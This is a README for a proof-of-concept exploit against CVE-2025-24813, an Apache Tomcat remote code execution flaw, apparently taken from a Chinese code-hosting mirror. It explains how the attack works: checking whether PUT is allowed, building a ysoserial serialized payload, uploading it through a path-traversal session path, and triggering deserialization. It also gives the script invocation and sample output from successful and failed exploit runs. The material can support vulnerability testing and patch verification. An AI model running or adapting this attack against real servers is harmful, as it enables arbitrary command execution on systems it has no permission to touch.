CVE-2025-24813 PoC — Apache Tomcat 环境问题漏洞

介绍

# CVE-2025-24813 Apache Tomcat RCE PoC
Proof of Concept (PoC) exploiting CVE-2025-24813, a Remote Code Execution (RCE) vulnerability in Apache Tomcat. The vulnerability allows an attacker to upload a malicious serialized payload to the server, leading to arbitrary code execution via deserialization when specific conditions are met.
---

## Description

**CVE-2025-24813** is a theoretical RCE vulnerability in Apache Tomcat that leverages improper handling of uploaded session files and deserialization mechanisms. By uploading a crafted payload to a writable directory (e.g., `/uploads/../sessions/`), an attacker can trigger deserialization, resulting in the execution of arbitrary commands on the target server.

---

## Prerequisites for Successful Exploitation

For this PoC to successfully exploit the vulnerability, the following conditions must be met:

1. **Apache Tomcat Version**: The target must be running a vulnerable version of Apache Tomcat.
2. **Writable Directory**: The server must allow PUT requests
3. **Deserialization Trigger**: The server must process the uploaded session file (e.g., via a GET request to `/index.jsp`) and trigger deserialization of the payload.
4. **Java Environment**: The attacker’s machine must have Java installed to generate payloads using `ysoserial` or compile Java-based payloads.
5. **ysoserial (Optional)**: If using the `ysoserial` payload type, the `ysoserial.jar` file must be available locally.

---

```
python CVE-2025-24813.py <target_url> [options]
```

## Output
* Successful Exploit:
```
[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8081/uploads/../sessions/absholi7ly.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8081 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
```

* Failed Exploit:
```
[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[-] Payload upload failed: http://localhost:8081/uploads/../sessions/absholi7ly.session (HTTP 403)
[-] Target http://localhost:8081 does not appear vulnerable or exploit failed.
[+] Temporary file removed: payload.ser
```

文件快照

备注